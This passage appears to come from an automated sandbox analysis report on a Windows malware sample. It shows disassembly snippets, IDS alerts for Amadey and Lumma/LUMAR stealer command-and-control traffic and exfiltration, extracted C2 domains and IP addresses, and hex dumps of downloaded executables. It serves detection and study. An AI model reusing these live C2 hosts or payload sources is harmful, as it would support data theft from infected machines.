Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F7D6D3F6h	15_2_0044D960
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-25088CECh]	15_2_00412124
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	15_2_0044C1D0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], eax	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [edx], cx	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+14h]	15_2_0040DA3A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+317AB538h]	15_2_0040DA3A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+10h]	15_2_00420B40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+10h]	15_2_00420B40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov ebp, edx	15_2_0044C320
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov byte ptr [edi], cl	15_2_004373CB
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_0042CBB0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp word ptr [ebp+eax+00h], 0000h	15_2_0041A430
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then lea eax, dword ptr [ecx-6C0B83CEh]	15_2_0040D780
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 743EDB10h	15_2_0044C8C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	15_2_004490EF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	15_2_00440880
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movsx edx, byte ptr [ebx+ecx]	15_2_0044A88E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	15_2_0040E174
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B900
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_00429910
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-38B2FA5Ch]	15_2_00432120
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_00432120
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+12h]	15_2_0040C130
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp], ebx	15_2_004369C1
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-000000B2h]	15_2_00410994
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B9B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 720EEED4h	15_2_00448240
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+08h]	15_2_00448240
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+6C0B83D6h]	15_2_00448240
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044BA40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000084h]	15_2_0041E2C6
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov edx, edi	15_2_00423A80
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-79B0712Ah]	15_2_0042DAA2
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, word ptr [eax]	15_2_0042DAA2
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	15_2_0042DAA2
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	15_2_004292A0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp word ptr [eax+edx+02h], 0000h	15_2_00444B60
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov eax, ecx	15_2_0041EB66
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+02h]	15_2_00411368
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	15_2_0041A370
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	15_2_0041D315
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+12EB444Ah]	15_2_0040FB20
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov ebp, eax	15_2_00408B20
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	15_2_0042D32F
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2B12B9D2h]	15_2_0042F3C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	15_2_0040A390
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	15_2_0040A390
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], eax	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [edx], cx	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+03h]	15_2_00424430
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov byte ptr [edi], cl	15_2_004374D1
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+5Dh]	15_2_0040DC9E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_00432540
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [edx], cx	15_2_0041B55A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	15_2_0041B55A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	15_2_0041B55A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	15_2_0041B55A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+2Ch]	15_2_00430650
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-52h]	15_2_00430670
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	15_2_00433EE0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	15_2_0041EEFE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000084h]	15_2_0041EEFE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B680
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+03h]	15_2_00425F40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 8D94E5DFh	15_2_00444750
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax]	15_2_00444750
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then jmp eax	15_2_0040F769
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ebp+02h]	15_2_00429F30
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68h]	15_2_0041FF37
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+62h]	15_2_00412F82
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	15_2_00422792
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B790
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B7A9
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-313E762Ah]	15_2_0044B7AB

Source: firefox.exe

Memory has grown: Private usage: 3MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49681 -> 176.113.115.6:80
Source: Network traffic	Suricata IDS: 2060412 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (earthsymphzony .today) : 192.168.2.7:65445 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060410 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (collapimga .fun) : 192.168.2.7:65514 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060424 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tracnquilforest .life) : 192.168.2.7:51280 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060414 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (foresctwhispers .top) : 192.168.2.7:64555 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060422 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (strawpeasaen .fun) : 192.168.2.7:64600 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060420 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (starrynsightsky .icu) : 192.168.2.7:53305 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060416 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (quietswtreams .life) : 192.168.2.7:60254 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060418 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seizedsentec .online) : 192.168.2.7:56565 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50078 -> 176.113.115.6:80
Source: Network traffic	Suricata IDS: 2048736 - Severity 1 - ET MALWARE LUMAR Stealer Exfiltration M2 : 192.168.2.7:50093 -> 185.244.212.106:2227
Source: Network traffic	Suricata IDS: 2048736 - Severity 1 - ET MALWARE LUMAR Stealer Exfiltration M2 : 192.168.2.7:50097 -> 185.244.212.106:2227

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dawtastream.bet
Source: Malware configuration extractor	URLs: foresctwhispers.top
Source: Malware configuration extractor	URLs: tracnquilforest.life
Source: Malware configuration extractor	URLs: collapimga.fun
Source: Malware configuration extractor	URLs: seizedsentec.online
Source: Malware configuration extractor	URLs: strawpeasaen.fun
Source: Malware configuration extractor	URLs: quietswtreams.life
Source: Malware configuration extractor	URLs: starrynsightsky.icu
Source: Malware configuration extractor	IPs: 176.113.115.6
Source: Malware configuration extractor	IPs: 45.91.200.135
Source: Malware configuration extractor	IPs: 185.156.73.73

Source: unknown

Network traffic detected: DNS query count 35

Source: global traffic

TCP traffic: 192.168.2.7:52489 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:01:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 17:32:24 GMTETag: "480600-62fc40176c6cb"Accept-Ranges: bytesContent-Length: 4720128Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 8a 6d 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 d8 34 00 00 ba 39 00 00 00 00 00 00 a0 c3 00 00 10 00 00 00 70 67 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 d0 c3 00 00 04 00 00 c9 9a 48 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 d0 71 00 68 00 00 00 00 c0 70 00 bc 0a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 71 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 70 00 00 10 00 00 00 52 2b 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 bc 0a 01 00 00 c0 70 00 00 20 00 00 00 62 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 71 00 00 02 00 00 00 82 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 35 00 00 e0 71 00 00 02 00 00 00 84 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 77 62 69 65 63 61 6a 00 60 1c 00 00 30 a7 00 00 5a 1c 00 00 86 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 74 69 61 6d 6a 6b 71 00 10 00 00 00 90 c3 00 00 04 00 00 00 e0 47 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c3 00 00 22 00 00 00 e4 47 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:01:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 18:28:25 GMTETag: "1cc600-62fc4c9be2b81"Accept-Ranges: bytesContent-Length: 1885696Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 1d 1b bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 74 04 00 00 b0 00 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 0c 1c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 b0 05 00 6b 00 00 00 00 a0 05 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 05 00 00 10 00 00 00 9a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 a0 05 00 00 04 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 05 00 00 02 00 00 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 c0 05 00 00 02 00 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 78 6c 6a 70 6a 79 00 f0 19 00 00 50 30 00 00 ee 19 00 00 b2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 63 63 6d 66 72 69 76 00 10 00 00 00 40 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:01:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 17:15:51 GMTETag: "5b000-62fc3c638bfc0"Accept-Ranges: bytesContent-Length: 372736Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1f 51 ff ad 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 22 00 00 00 08 00 00 00 00 00 00 66 3b 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 06 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 3b 00 00 4f 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 80 3a 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 20 00 00 00 20 00 00 00 22 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 00 00 00 02 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 43 53 53 00 00 00 00 00 82 05 00 00 a0 00 00 00 82 05 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:01:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 18:53:28 GMTETag: "2f5000-62fc5235e123f"Accept-Ranges: bytesContent-Length: 3100672Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 eb dd c9 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 d2 04 00 00 b0 00 00 00 00 00 00 00 60 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 2f 00 00 04 00 00 7d 13 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 10 06 00 6b 00 00 00 00 00 06 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 11 06 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 